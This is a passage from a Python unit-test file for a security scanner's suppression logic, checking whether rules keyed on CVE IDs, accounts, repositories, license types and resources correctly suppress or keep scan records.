file_line_range=None,\n                         resource=None, evaluations=None,\n                         check_class=None, file_abs_path='.', entity_tags=None)\n\n        self.assertTrue(suppressions_integration._check_suppression(record1, suppression))\n        self.assertFalse(suppressions_integration._check_suppression(record2, suppression))\n\n    def test_suppress_by_cve_accounts_with_repo_id_package_scan(self):\n        instance = BcPlatformIntegration()\n        instance.repo_id = 'some/repo'\n        instance.source_id = f\"customer_{instance.repo_id}\"\n        suppressions_integration = SuppressionsIntegration(instance)\n        suppressions_integration._init_repo_regex()\n\n        suppression = {\n            'suppressionType': 'CvesAccounts',\n            'policyId': 'BC_VUL_2',\n            'comment': 'suppress by accounts',\n            'cves': ['CVE-2021-44420', 'CVE-2021-45452'],\n            'accountIds': ['customer_some/repo'],\n            'checkovPolicyId': 'BC_VUL_2'\n        }\n\n        record1 = Record(check_id='BC_VUL_2', check_name=None, check_result=None,\n                         code_block=None, file_path=None,\n                         file_line_range=None,\n                         resource=None, evaluations=None,\n                         check_class=None, file_abs_path='.', entity_tags=None,\n                         vulnerability_details={'id': 'CVE-2021-44420'})\n        record2 = Record(check_id='BC_VUL_2', check_name=None, check_result=None,\n                         code_block=None, file_path=None,\n                         file_line_range=None,\n                         resource=None, evaluations=None,\n                         check_class=None, file_abs_path='.', entity_tags=None,\n                         vulnerability_details={'id': 'CVE-2021-45452'})\n        record3 = Record(check_id='BC_VUL_2', check_name=None, check_result=None,\n                         code_block=None, file_path=None,\n                         file_line_range=None,\n                         resource=None, evaluations=None,\n                         check_class=None, file_abs_path='.', entity_tags=None,\n                         vulnerability_details={'id': 'CVE-2022-45452'})\n\n        self.assertTrue(suppressions_integration._check_suppression(record1, suppression))\n        self.assertTrue(suppressions_integration._check_suppression(record2, suppression))\n        self.assertFalse(suppressions_integration._check_suppression(record3, suppression))\n\n    def test_suppress_by_cve_accounts_without_repo_id_package_scan(self):\n        instance = BcPlatformIntegration()\n        suppressions_integration = SuppressionsIntegration(instance)\n        suppressions_integration._init_repo_regex()\n\n        suppression = {\n            'suppressionType': 'CvesAccounts',\n            'policyId': 'BC_VUL_2',\n            'comment': 'suppress by accounts',\n            'cves': ['CVE-2021-44420', 'CVE-2021-45452'],\n            'accountIds': ['some/repo'],\n            'checkovPolicyId': 'BC_VUL_2'\n        }\n\n        record1 = Record(check_id='BC_VUL_2', check_name=None, check_result=None,\n                         code_block=None, file_path=None,\n                         file_line_range=None,\n                         resource=None, evaluations=None,\n                         check_class=None, file_abs_path='.', entity_tags=None,\n                         vulnerability_details={'id': 'CVE-2021-44420'})\n        record2 = Record(check_id='BC_VUL_2', check_name=None, check_result=None,\n                         code_block=None, file_path=None,\n                         file_line_range=None,\n                         resource=None, evaluations=None,\n                         check_class=None, file_abs_path='.', entity_tags=None,\n                         vulnerability_details={'id': 'CVE-2021-45452'})\n        record3 = Record(check_id='BC_VUL_2', check_name=None, check_result=None,\n                         code_block=None, file_path=None,\n                         file_line_range=None,\n                         resource=None, evaluations=None,\n                         check_class=None, file_abs_path='.', entity_tags=None,\n                         vulnerability_details={'id': 'CVE-2022-45452'})\n\n        self.assertFalse(suppressions_integration._check_suppression(record1, suppression))\n        self.assertFalse(suppressions_integration._check_suppression(record2, suppression))\n        self.assertFalse(suppressions_integration._check_suppression(record3, suppression))\n\n    def test_suppress_by_cve_accounts_with_repo_id_image_scan(self):\n        instance = BcPlatformIntegration()\n        instance.repo_id = 'some/repo'\n        instance.source_id = f\"customer_{instance.repo_id}\"\n        suppressions_integration = SuppressionsIntegration(instance)\n        suppressions_integration._init_repo_regex()\n\n        suppression = {\n            'suppressionType': 'CvesAccounts',\n            'policyId': 'BC_VUL_1',\n            'comment': 'suppress by accounts',\n            'cves': ['CVE-2021-44420', 'CVE-2021-45452'],\n            'accountIds': ['customer_some/repo', 'customer_second/repo'],\n            'checkovPolicyId': 'BC_VUL_1'\n        }\n\n        record1 = Record(check_id='BC_VUL_1', check_name=None, check_result=None,\n                         code_block=None, file_path=None,\n                         file_line_range=None,\n                         resource=None, evaluations=None,\n                         check_class=None, file_abs_path='.', entity_tags=None,\n                         vulnerability_details={'id': 'CVE-2021-44420'})\n        record2 = Record(check_id='BC_VUL_1', check_name=None, check_result=None,\n                         code_block=None, file_path=None,\n                         file_line_range=None,\n                         resource=None, evaluations=None,\n                         check_class=None, file_abs_path='.', entity_tags=None,\n                         vulnerability_details={'id': 'CVE-2021-45452'})\n        record3 = Record(check_id='BC_VUL_1', check_name=None, check_result=None,\n                         code_block=None, file_path=None,\n                         file_line_range=None,\n                         resource=None, evaluations=None,\n                         check_class=None, file_abs_path='.', entity_tags=None,\n                         vulnerability_details={'id': 'CVE-2022-45452'})\n\n        self.assertTrue(suppressions_integration._check_suppression(record1, suppression))\n        self.assertTrue(suppressions_integration._check_suppression(record2, suppression))\n        self.assertFalse(suppressions_integration._check_suppression(record3, suppression))\n\n        # with not matching repo-id\n        instance2 = BcPlatformIntegration()\n        instance2.repo_id = 'wrong/repo'\n        suppressions_integration = SuppressionsIntegration(instance2)\n        suppressions_integration._init_repo_regex()\n\n        self.assertFalse(suppressions_integration._check_suppression(record1, suppression))\n\n    def test_suppress_by_cve_accounts_without_repo_id_image_scan(self):\n        instance = BcPlatformIntegration()\n        suppressions_integration = SuppressionsIntegration(instance)\n        suppressions_integration._init_repo_regex()\n\n        suppression = {\n            'suppressionType': 'CvesAccounts',\n            'policyId': 'BC_VUL_1',\n            'comment': 'suppress by accounts',\n            'cves': ['CVE-2021-44420', 'CVE-2021-45452'],\n            'accountIds': ['some/repo', 'second/repo'],\n            'checkovPolicyId': 'BC_VUL_1'\n        }\n\n        record1 = Record(check_id='BC_VUL_1', check_name=None, check_result=None,\n                         code_block=None, file_path=None,\n                         file_line_range=None,\n                         resource=None, evaluations=None,\n                         check_class=None, file_abs_path='.', entity_tags=None,\n                         vulnerability_details={'id': 'CVE-2021-44420'})\n        record2 = Record(check_id='BC_VUL_1', check_name=None, check_result=None,\n                         code_block=None, file_path=None,\n                         file_line_range=None,\n                         resource=None, evaluations=None,\n                         check_class=None, file_abs_path='.', entity_tags=None,\n                         vulnerability_details={'id': 'CVE-2021-45452'})\n        record3 = Record(check_id='BC_VUL_1', check_name=None, check_result=None,\n                         code_block=None, file_path=None,\n                         file_line_range=None,\n                         resource=None, evaluations=None,\n                         check_class=None, file_abs_path='.', entity_tags=None,\n                         vulnerability_details={'id': 'CVE-2022-45452'})\n\n        self.assertFalse(suppressions_integration._check_suppression(record1, suppression))\n        self.assertFalse(suppressions_integration._check_suppression(record2, suppression))\n        self.assertFalse(suppressions_integration._check_suppression(record3, suppression))\n\n    def test_supress_by_cve_for_package_scan(self):\n        instance = BcPlatformIntegration()\n        instance.repo_id = 'some/repo'\n        instance.source_id = f\"customer_{instance.repo_id}\"\n        suppressions_integration = SuppressionsIntegration(instance)\n        suppressions_integration._init_repo_regex()\n\n        suppression = {\n            'suppressionType': 'Cves',\n            'policyId': 'BC_VUL_2',\n            'comment': 'suppress cve ',\n            'accountIds': ['customer_some/repo'],\n            'cves': [\n                {'uuid': '90397534-a1a0-41bb-a552-acdd861df618', 'id': '/requirements.txt', 'cve': 'CVE-2022-35920'},\n                {'uuid': '90397534-a1a0-41bb-a552-acdd861df699', 'id': '/requirements.txt', 'cve': 'CVE-2021-23727'}],\n            'checkovPolicyId': 'BC_VUL_2'\n        }\n\n        record1 = Record(check_id='BC_VUL_2', check_name=None, check_result=None,\n                         code_block=None, file_path=None,\n                         file_line_range=None,\n                         resource=None, evaluations=None,\n                         check_class=None, file_abs_path='requirements.txt', entity_tags=None,\n                         vulnerability_details={'id': 'CVE-2022-35920'})\n        record2 = Record(check_id='BC_VUL_2', check_name=None, check_result=None,\n                         code_block=None, file_path=None,\n                         file_line_range=None,\n                         resource=None, evaluations=None,\n                         check_class=None, file_abs_path='requirements.txt', entity_tags=None,\n                         vulnerability_details={'id': 'CVE-2021-23727'})\n        record3 = Record(check_id='BC_VUL_2', check_name=None, check_result=None,\n                         code_block=None, file_path=None,\n                         file_line_range=None,\n                         resource=None, evaluations=None,\n                         check_class=None, file_abs_path='requirements.txt', entity_tags=None,\n                         vulnerability_details={'id': 'CVE-2022-45452'})\n        record4 = Record(check_id='BC_VUL_2', check_name=None, check_result=None,\n                         code_block=None, file_path=None,\n                         file_line_range=None,\n                         resource=None, evaluations=None,\n                         check_class=None, file_abs_path='notrequirements.txt', entity_tags=None,\n                         vulnerability_details={'id': 'CVE-2022-45452'})\n        record5 = Record(check_id='BC_VUL_2', check_name=None, check_result=None,\n                         code_block=None, file_path=None,\n                         file_line_range=None,\n                         resource=None, evaluations=None,\n                         check_class=None, file_abs_path='home/requirements.txt', entity_tags=None,\n                         vulnerability_details={'id': 'CVE-2021-23727'})\n        record5.file_path = '/requirements.txt'\n\n        self.assertTrue(suppressions_integration._check_suppression(record1, suppression))\n        self.assertTrue(suppressions_integration._check_suppression(record2, suppression))\n        self.assertFalse(suppressions_integration._check_suppression(record3, suppression))\n        self.assertFalse(suppressions_integration._check_suppression(record4, suppression))\n        self.assertTrue(suppressions_integration._check_suppression(record5, suppression))\n\n    def test_suppress_by_cve_with_empty_cves(self):\n        instance = BcPlatformIntegration()\n        instance.repo_id = 'repo/path'\n        suppressions_integration = SuppressionsIntegration(instance)\n        suppressions_integration._init_repo_regex()\n\n        suppression = {\n            'suppressionType': 'Cves',\n            'policyId': 'BC_VUL_2',\n            'comment': 'suppress cve ',\n            'cves': [],\n            'checkovPolicyId': 'BC_VUL_2'\n        }\n\n        record1 = Record(check_id='BC_VUL_2', check_name=None, check_result=None,\n                         code_block=None, file_path='repo/path',\n                         file_line_range=None,\n                         resource=None, evaluations=None,\n                         check_class=None, file_abs_path='.', entity_tags=None,\n                         vulnerability_details={'id': 'CVE-2022-35920'})\n        self.assertFalse(suppressions_integration._check_suppression(record1, suppression))\n\n    def test_supress_by_cve_for_package_scan_with_different_repo_id(self):\n        instance = BcPlatformIntegration()\n        instance.repo_id = 'some/repo'\n        instance.source_id = f\"customer_{instance.repo_id}\"\n        suppressions_integration = SuppressionsIntegration(instance)\n        suppressions_integration._init_repo_regex()\n\n        suppression = {\n            'suppressionType': 'Cves',\n            'policyId': 'BC_VUL_2',\n            'comment': 'suppress cve ',\n            'accountIds': ['customer_other/repo'],\n            'cves': [\n                {'uuid': '90397534-a1a0-41bb-a552-acdd861df618', 'id': '/requirements.txt', 'cve': 'CVE-2022-35920'},\n                {'uuid': '90397534-a1a0-41bb-a552-acdd861df699', 'id': '/requirements.txt', 'cve': 'CVE-2021-23727'}],\n            'checkovPolicyId': 'BC_VUL_2'\n        }\n\n        record1 = Record(check_id='BC_VUL_2', check_name=None, check_result=None,\n                         code_block=None, file_path=None,\n                         file_line_range=None,\n                         resource=None, evaluations=None,\n                         check_class=None, file_abs_path='requirements.txt', entity_tags=None,\n                         vulnerability_details={'id': 'CVE-2022-35920'})\n        record2 = Record(check_id='BC_VUL_2', check_name=None, check_result=None,\n                         code_block=None, file_path=None,\n                         file_line_range=None,\n                         resource=None, evaluations=None,\n                         check_class=None, file_abs_path='requirements.txt', entity_tags=None,\n                         vulnerability_details={'id': 'CVE-2021-23727'})\n        record3 = Record(check_id='BC_VUL_2', check_name=None, check_result=None,\n                         code_block=None, file_path=None,\n                         file_line_range=None,\n                         resource=None, evaluations=None,\n                         check_class=None, file_abs_path='requirements.txt', entity_tags=None,\n                         vulnerability_details={'id': 'CVE-2022-45452'})\n        record4 = Record(check_id='BC_VUL_2', check_name=None, check_result=None,\n                         code_block=None, file_path=None,\n                         file_line_range=None,\n                         resource=None, evaluations=None,\n                         check_class=None, file_abs_path='notrequirements.txt', entity_tags=None,\n                         vulnerability_details={'id': 'CVE-2022-45452'})\n\n        self.assertFalse(suppressions_integration._check_suppression(record1, suppression))\n        self.assertFalse(suppressions_integration._check_suppression(record2, suppression))\n        self.assertFalse(suppressions_integration._check_suppression(record3, suppression))\n        self.assertFalse(suppressions_integration._check_suppression(record4, suppression))\n\n    def test_supress_by_cve_for_image_scan(self):\n        instance = BcPlatformIntegration()\n        instance.repo_id = 'some/repo'\n        instance.source_id = f\"customer_{instance.repo_id}\"\n        suppressions_integration = SuppressionsIntegration(instance)\n        suppressions_integration._init_repo_regex()\n\n        suppression = {\n            'suppressionType': 'Cves',\n            'policyId': 'BC_VUL_1',\n            'comment': 'suppress cve ',\n            'accountIds': ['customer_some/repo'],\n            'cves': [{'uuid': '90397534-a1a0-41bb-a552-acdd861df618', 'id': '/dockerfile/Dockerfile',\n                      'cve': 'CVE-2022-35920'},\n                     {'uuid': '90397534-a1a0-41bb-a552-acdd861df699', 'id': '/dockerfile/Dockerfile',\n                      'cve': 'CVE-2021-23727'}],\n            'checkovPolicyId': 'BC_VUL_1'\n        }\n\n        record1 = Record(check_id='BC_VUL_1', check_name=None, check_result=None,\n                         code_block=None, file_path=None,\n                         file_line_range=None,\n                         resource=None, evaluations=None,\n                         check_class=None, file_abs_path='path/to/some/repo/dockerfile/Dockerfile', entity_tags=None,\n                         vulnerability_details={'id': 'CVE-2022-35920'})\n        record2 = Record(check_id='BC_VUL_1', check_name=None, check_result=None,\n                         code_block=None, file_path=None,\n                         file_line_range=None,\n                         resource=None, evaluations=None,\n                         check_class=None, file_abs_path='path/to/some/repo/dockerfile/Dockerfile', entity_tags=None,\n                         vulnerability_details={'id': 'CVE-2021-23727'})\n        record3 = Record(check_id='BC_VUL_1', check_name=None, check_result=None,\n                         code_block=None, file_path=None,\n                         file_line_range=None,\n                         resource=None, evaluations=None,\n                         check_class=None, file_abs_path='path/to/some/repos/dockerfile/Dockerfile', entity_tags=None,\n                         vulnerability_details={'id': 'CVE-2022-45452'})\n        record4 = Record(check_id='BC_VUL_1', check_name=None, check_result=None,\n                         code_block=None, file_path=None,\n                         file_line_range=None,\n                         resource=None, evaluations=None,\n                         check_class=None, file_abs_path='path/to/some/repo/notdockerfile/Dockerfile', entity_tags=None,\n                         vulnerability_details={'id': 'CVE-2022-45452'})\n\n        self.assertTrue(suppressions_integration._check_suppression(record1, suppression))\n        self.assertTrue(suppressions_integration._check_suppression(record2, suppression))\n        self.assertFalse(suppressions_integration._check_suppression(record3, suppression))\n        self.assertFalse(suppressions_integration._check_suppression(record4, suppression))\n\n    def test_supress_by_cve_for_image_scan_with_different_repo_id(self):\n        instance = BcPlatformIntegration()\n        instance.repo_id = 'some/repo'\n        suppressions_integration = SuppressionsIntegration(instance)\n        suppressions_integration._init_repo_regex()\n\n        suppression = {\n            'suppressionType': 'Cves',\n            'policyId': 'BC_VUL_1',\n            'comment': 'suppress cve ',\n            'accountIds': ['other/repo'],\n            'cves': [{'uuid': '90397534-a1a0-41bb-a552-acdd861df618', 'id': '/dockerfile/Dockerfile',\n                      'cve': 'CVE-2022-35920'},\n                     {'uuid': '90397534-a1a0-41bb-a552-acdd861df699', 'id': '/dockerfile/Dockerfile',\n                      'cve': 'CVE-2021-23727'}],\n            'checkovPolicyId': 'BC_VUL_1'\n        }\n\n        record1 = Record(check_id='BC_VUL_1', check_name=None, check_result=None,\n                         code_block=None, file_path=None,\n                         file_line_range=None,\n                         resource=None, evaluations=None,\n                         check_class=None, file_abs_path='other/repo/dockerfile/Dockerfile', entity_tags=None,\n                         vulnerability_details={'id': 'CVE-2022-35920'})\n        record2 = Record(check_id='BC_VUL_1', check_name=None, check_result=None,\n                         code_block=None, file_path=None,\n                         file_line_range=None,\n                         resource=None, evaluations=None,\n                         check_class=None, file_abs_path='other/repo/dockerfile/Dockerfile', entity_tags=None,\n                         vulnerability_details={'id': 'CVE-2021-23727'})\n        record3 = Record(check_id='BC_VUL_1', check_name=None, check_result=None,\n                         code_block=None, file_path=None,\n                         file_line_range=None,\n                         resource=None, evaluations=None,\n                         check_class=None, file_abs_path='other/repo/dockerfile/Dockerfile', entity_tags=None,\n                         vulnerability_details={'id': 'CVE-2022-45452'})\n        record4 = Record(check_id='BC_VUL_1', check_name=None, check_result=None,\n                         code_block=None, file_path=None,\n                         file_line_range=None,\n                         resource=None, evaluations=None,\n                         check_class=None, file_abs_path='other/repo/dockerfile/Dockerfile', entity_tags=None,\n                         vulnerability_details={'id': 'CVE-2022-45452'})\n\n        self.assertFalse(suppressions_integration._check_suppression(record1, suppression))\n        self.assertFalse(suppressions_integration._check_suppression(record2, suppression))\n        self.assertFalse(suppressions_integration._check_suppression(record3, suppression))\n        self.assertFalse(suppressions_integration._check_suppression(record4, suppression))\n\n    def test_supress_by_cve_for_image_scan_without_accountIds(self):\n        instance = BcPlatformIntegration()\n        instance.repo_id = '/dockerfile/Dockerfile'\n        suppressions_integration = SuppressionsIntegration(instance)\n        suppressions_integration._init_repo_regex()\n\n        suppression = {\n            'suppressionType': 'Cves',\n            'policyId': 'BC_VUL_1',\n            'comment': 'suppress cve ',\n            'cves': [{'uuid': '90397534-a1a0-41bb-a552-acdd861df618', 'id': '/dockerfile/Dockerfile',\n                      'cve': 'CVE-2022-35920'},\n                     {'uuid': '90397534-a1a0-41bb-a552-acdd861df699', 'id': '/dockerfile/Dockerfile',\n                      'cve': 'CVE-2021-23727'}],\n            'checkovPolicyId': 'BC_VUL_1'\n        }\n\n        record1 = Record(check_id='BC_VUL_1', check_name=None, check_result=None,\n                         code_block=None, file_path='/dockerfile/Dockerfile',\n                         file_line_range=None,\n                         resource=None, evaluations=None,\n                         check_class=None, file_abs_path='.', entity_tags=None,\n                         vulnerability_details={'id': 'CVE-2022-35920'})\n        record2 = Record(check_id='BC_VUL_1', check_name=None, check_result=None,\n                         code_block=None, file_path='/dockerfile/Dockerfile',\n                         file_line_range=None,\n                         resource=None, evaluations=None,\n                         check_class=None, file_abs_path='.', entity_tags=None,\n                         vulnerability_details={'id': 'CVE-2021-23727'})\n        self.assertFalse(suppressions_integration._check_suppression(record1, suppression))\n        self.assertFalse(suppressions_integration._check_suppression(record2, suppression))\n\n    def test_supress_by_cve_for_package_scan_without_accountIds(self):\n        instance = BcPlatformIntegration()\n        instance.repo_id = 'repo/path'\n        suppressions_integration = SuppressionsIntegration(instance)\n        suppressions_integration._init_repo_regex()\n\n        suppression = {\n            'suppressionType': 'Cves',\n            'policyId': 'BC_VUL_2',\n            'comment': 'suppress cve ',\n            'cves': [{'uuid': '90397534-a1a0-41bb-a552-acdd861df618', 'id': 'repo/path',\n                      'cve': 'CVE-2022-35920'},\n                     {'uuid': '90397534-a1a0-41bb-a552-acdd861df699', 'id': 'repo/path',\n                      'cve': 'CVE-2021-23727'}],\n            'checkovPolicyId': 'BC_VUL_2'\n        }\n\n        record1 = Record(check_id='BC_VUL_2', check_name=None, check_result=None,\n                         code_block=None, file_path='repo/path',\n                         file_line_range=None,\n                         resource=None, evaluations=None,\n                         check_class=None, file_abs_path='.', entity_tags=None,\n                         vulnerability_details={'id': 'CVE-2022-35920'})\n        record2 = Record(check_id='BC_VUL_2', check_name=None, check_result=None,\n                         code_block=None, file_path='repo/path',\n                         file_line_range=None,\n                         resource=None, evaluations=None,\n                         check_class=None, file_abs_path='.', entity_tags=None,\n                         vulnerability_details={'id': 'CVE-2021-23727'})\n        self.assertFalse(suppressions_integration._check_suppression(record1, suppression))\n        self.assertFalse(suppressions_integration._check_suppression(record2, suppression))\n\n    def test_suppress_licenses_by_policy(self):\n        instance = BcPlatformIntegration()\n        suppressions_integration = SuppressionsIntegration(instance)\n\n        suppression = {'suppressionType': 'Policy',\n                       'policyId': 'BC_LIC_1',\n                       'comment': 'test licenses suppressions by policy ',\n                       'checkovPolicyId': 'BC_LIC_1'\n                       }\n        record1 = Record(check_id='BC_LIC_1', check_name=None, check_result=None,\n                         code_block=None, file_path=None,\n                         file_line_range=None,\n                         resource=None, evaluations=None,\n                         check_class=None, file_abs_path='.', entity_tags=None,\n                         vulnerability_details={'license': 'JSON'})\n        record2 = Record(check_id='BC_LIC_1', check_name=None, check_result=None,\n                         code_block=None, file_path=None,\n                         file_line_range=None,\n                         resource=None, evaluations=None,\n                         check_class=None, file_abs_path='.', entity_tags=None,\n                         vulnerability_details={'license': 'GPL-1.0'})\n        record3 = Record(check_id='BC_VUL_1', check_name=None, check_result=None,\n                         code_block=None, file_path=None,\n                         file_line_range=None,\n                         resource=None, evaluations=None,\n                         check_class=None, file_abs_path='.', entity_tags=None,\n                         vulnerability_details={'license': 'GPL-2.0'})\n        self.assertTrue(suppressions_integration._check_suppression(record1, suppression))\n        self.assertTrue(suppressions_integration._check_suppression(record2, suppression))\n        self.assertFalse(suppressions_integration._check_suppression(record3, suppression))\n\n    def test_supress_licenses_by_type(self):\n        instance = BcPlatformIntegration()\n        suppressions_integration = SuppressionsIntegration(instance)\n\n        suppression = {'suppressionType': 'LicenseType',\n                       'policyId': 'BC_LIC_1',\n                       'comment': 'test licenses suppressions by type ',\n                       'licenseTypes': ['GPL-1.0', 'JSON'],\n                       'checkovPolicyId': 'BC_LIC_1'\n                       }\n        record1 = Record(check_id='BC_LIC_1', check_name=None, check_result=None,\n                         code_block=None, file_path=None,\n                         file_line_range=None,\n                         resource=None, evaluations=None,\n                         check_class=None, file_abs_path='.', entity_tags=None,\n                         vulnerability_details={'license': 'JSON'})\n        record2 = Record(check_id='BC_LIC_1', check_name=None, check_result=None,\n                         code_block=None, file_path=None,\n                         file_line_range=None,\n                         resource=None, evaluations=None,\n                         check_class=None, file_abs_path='.', entity_tags=None,\n                         vulnerability_details={'license': 'GPL-1.0'})\n        record3 = Record(check_id='BC_LIC_1', check_name=None, check_result=None,\n                         code_block=None, file_path=None,\n                         file_line_range=None,\n                         resource=None, evaluations=None,\n                         check_class=None, file_abs_path='.', entity_tags=None,\n                         vulnerability_details={'license': 'GPL-2.0'})\n        record4 = Record(check_id='BC_LIC_2', check_name=None, check_result=None,\n                         code_block=None, file_path=None,\n                         file_line_range=None,\n                         resource=None, evaluations=None,\n                         check_class=None, file_abs_path='.', entity_tags=None,\n                         vulnerability_details={'license': 'GPL-1.0'})\n        self.assertTrue(suppressions_integration._check_suppression(record1, suppression))\n        self.assertTrue(suppressions_integration._check_suppression(record2, suppression))\n        self.assertFalse(suppressions_integration._check_suppression(record3, suppression))\n        self.assertFalse(suppressions_integration._check_suppression(record4, suppression))\n\n    def test_account_suppression(self):\n        instance = BcPlatformIntegration()\n        instance.repo_id = 'org/repo'\n        suppressions_integration = SuppressionsIntegration(instance)\n        suppressions_integration._init_repo_regex()\n        suppression = {\n            \"suppressionType\": \"Accounts\",\n            \"policyId\": \"BC_AWS_S3_13\",\n            \"comment\": \"testing checkov\",\n            \"accountIds\": [\"org/repo\", \"not/valid\"],\n            \"checkovPolicyId\": \"CKV_AWS_18\",\n        }\n\n        record1 = Record(check_id='CKV_AWS_18', check_name=None, check_result=None,\n                         code_block=None, file_path=None,\n                         file_line_range=None,\n                         resource=None, evaluations=None,\n                         check_class=None, file_abs_path='.', entity_tags=None)\n        record2 = Record(check_id='CKV_AWS_1', check_name=None, check_result=None,\n                         code_block=None, file_path=None,\n                         file_line_range=None,\n                         resource=None, evaluations=None,\n                         check_class=None, file_abs_path='.', entity_tags=None)\n\n        self.assertTrue(suppressions_integration._check_suppression(record1, suppression))\n        self.assertFalse(suppressions_integration._check_suppression(record2, suppression))\n\n    def test_repo_v2_suppression(self):\n        instance = BcPlatformIntegration()\n        instance.repo_id = 'org/repo'\n        suppressions_integration = SuppressionsIntegration(instance)\n        suppressions_integration._init_repo_regex()\n        suppression = {\n            \"ruleType\": \"repository\",\n            \"repositories\": [\n                {\"repositoryName\": \"org/repo\"},\n                {\"repositoryName\": \"not/valid\"}\n            ],\n            \"checkovPolicyIds\": [\"CKV_AWS_18\", \"CKV_AWS_19\"],\n        }\n\n        # this is actually almost the same as a policy check, except we care about the repo name in the integration\n        # record details do not matter, except policy ID\n        record1 = Record(check_id='CKV_AWS_18', check_name=None, check_result=None,\n                         code_block=None, file_path=None,\n                         file_line_range=None,\n                         resource=None, evaluations=None,\n                         check_class=None, file_abs_path='.', entity_tags=None)\n        record2 = Record(check_id='CKV_AWS_19', check_name=None, check_result=None,\n                         code_block=None, file_path=None,\n                         file_line_range=None,\n                         resource=None, evaluations=None,\n                         check_class=None, file_abs_path='.', entity_tags=None)\n        record3 = Record(check_id='CKV_AWS_1', check_name=None, check_result=None,\n                         code_block=None, file_path=None,\n                         file_line_range=None,\n                         resource=None, evaluations=None,\n                         check_class=None, file_abs_path='.', entity_tags=None)\n\n        self.assertTrue(suppressions_integration._check_suppression_v2(record1, suppression))\n        self.assertTrue(suppressions_integration._check_suppression_v2(record2, suppression))\n        self.assertFalse(suppressions_integration._check_suppression_v2(record3, suppression))\n\n        instance.repo_id = 'another/repo'\n        self.assertFalse(suppressions_integration._check_suppression_v2(record1, suppression))\n\n    def test_account_suppression_cli_repo(self):\n        instance = BcPlatformIntegration()\n        instance.repo_id = 'org/repo'\n        suppressions_integration = SuppressionsIntegration(instance)\n        suppressions_integration._init_repo_regex()\n        suppression = {\n            \"suppressionType\": \"Accounts\",\n            \"policyId\": \"BC_AWS_S3_13\",\n            \"comment\": \"testing checkov\",\n            \"accountIds\": [\"bcorg_org/repo\", \"bcorg_not/valid\"],\n            \"checkovPolicyId\": \"CKV_AWS_18\",\n        }\n\n        record1 = Record(check_id='CKV_AWS_18', check_name=None, check_result=None,\n                         code_block=None, file_path=None,\n                         file_line_range=None,\n                         resource=None, evaluations=None,\n                         check_class=None, file_abs_path='.', entity_tags=None)\n        record2 = Record(check_id='CKV_AWS_1', check_name=None, check_result=None,\n                         code_block=None, file_path=None,\n                         file_line_range=None,\n                         resource=None, evaluations=None,\n                         check_class=None, file_abs_path='.', entity_tags=None)\n\n        self.assertTrue(suppressions_integration._check_suppression(record1, suppression))\n        self.assertFalse(suppressions_integration._check_suppression(record2, suppression))\n\n    def test_repo_v2_suppression_cli_repo(self):\n        instance = BcPlatformIntegration()\n        instance.repo_id = 'org/repo'\n        suppressions_integration = SuppressionsIntegration(instance)\n        suppressions_integration._init_repo_regex()\n        suppression = {\n            \"ruleType\": \"repository\",\n            \"repositories\": [\n                {\"repositoryName\": \"1234_org/repo\"},\n                {\"repositoryName\": \"1234_not/valid\"}\n            ],\n            \"checkovPolicyIds\": [\"CKV_AWS_18\", \"CKV_AWS_19\"],\n        }\n\n        # this is actually almost the same as a policy check, except we care about the repo name in the integration\n        # record details do not matter, except policy ID\n        record1 = Record(check_id='CKV_AWS_18', check_name=None, check_result=None,\n                         code_block=None, file_path=None,\n                         file_line_range=None,\n                         resource=None, evaluations=None,\n                         check_class=None, file_abs_path='.', entity_tags=None)\n        record2 = Record(check_id='CKV_AWS_19', check_name=None, check_result=None,\n                         code_block=None, file_path=None,\n                         file_line_range=None,\n                         resource=None, evaluations=None,\n                         check_class=None, file_abs_path='.', entity_tags=None)\n        record3 = Record(check_id='CKV_AWS_1', check_name=None, check_result=None,\n                         code_block=None, file_path=None,\n                         file_line_range=None,\n                         resource=None, evaluations=None,\n                         check_class=None, file_abs_path='.', entity_tags=None)\n\n        self.assertTrue(suppressions_integration._check_suppression_v2(record1, suppression))\n        self.assertTrue(suppressions_integration._check_suppression_v2(record2, suppression))\n        self.assertFalse(suppressions_integration._check_suppression_v2(record3, suppression))\n\n        instance.repo_id = 'another/repo'\n        self.assertFalse(suppressions_integration._check_suppression_v2(record1, suppression))\n\n    def test_resource_suppression(self):\n        instance = BcPlatformIntegration()\n        instance.repo_id = 'org/repo'\n        suppressions_integration = SuppressionsIntegration(instance)\n        suppressions_integration._init_repo_regex()\n        suppression = {\n            \"suppressionType\": \"Resources\",\n            \"policyId\": \"BC_AWS_S3_13\",\n            \"comment\": \"No justification comment provided.\",\n            \"resources\": [\n                {\n                    \"accountId\": \"org/repo\",\n                    \"resourceId\": \"/terraform/aws/s3.tf:aws_s3_bucket.operations\",\n                }\n            ],\n            \"checkovPolicyId\": \"CKV_AWS_18\",\n        }\n\n        record1 = Record(check_id='CKV_AWS_18', check_name=None, check_result=None,\n                         code_block=None, file_path=None,\n                         file_line_range=None,\n                         resource='aws_s3_bucket.operations', evaluations=None,\n                         check_class=None, file_abs_path=',.', entity_tags=None)\n        record1.repo_file_path = '/terraform/aws/s3.tf'\n        record2 = Record(check_id='CKV_AWS_13', check_name=None, check_result=None,\n                         code_block=None, file_path=None,\n                         file_line_range=None,\n                         resource='aws_s3_bucket.no', evaluations=None,\n                         check_class=None, file_abs_path='.', entity_tags=None)\n        record2.repo_file_path = '/terraform/aws/s3.tf'\n        record3 = Record(check_id='CKV_AWS_1', check_name=None, check_result=None,\n                         code_block=None, file_path=None,\n                         file_line_range=None,\n                         resource='aws_s3_bucket.operations', evaluations=None,\n                         check_class=None, file_abs_path='.', entity_tags=None)\n        record3.repo_file_path = '/terraform/aws/s3.tf'\n\n        # cases for when the CWD of the process is outside the repo\n        record4 = Record(check_id='CKV_AWS_18', check_name=None, check_result=None,\n                         code_block=None, file_path=None,\n                         file_line_range=None,\n                         resource='aws_s3_bucket.operations', evaluations=None,\n                         check_class=None, file_abs_path='.', entity_tags=None)\n        record4.file_path = '/terraform/aws/s3.tf'\n        record4.repo_file_path = '/some/abs/path/to/terraform/aws/s3.tf'\n\n        record5 = Record(check_id='CKV_AWS_18', check_name=None, check_result=None,\n                         code_block=None, file_path=None,\n                         file_line_range=None,\n                         resource='aws_s3_bucket.operations', evaluations=None,\n                         check_class=None, file_abs_path='.', entity_tags=None)\n        record5.file_path = '\\\\terraform\\\\aws\\\\s3.tf'\n        record5.repo_file_path = '/some/abs/path/to/terraform/aws/s3.tf'\n\n        self.assertTrue(suppressions_integration._check_suppression(record1, suppression))\n        self.assertFalse(suppressions_integration._check_suppression(record2, suppression))\n        self.assertFalse(suppressions_integration._check_suppression(record3, suppression))\n        self.assertTrue(suppressions_integration._check_suppression(record4, suppression))\n        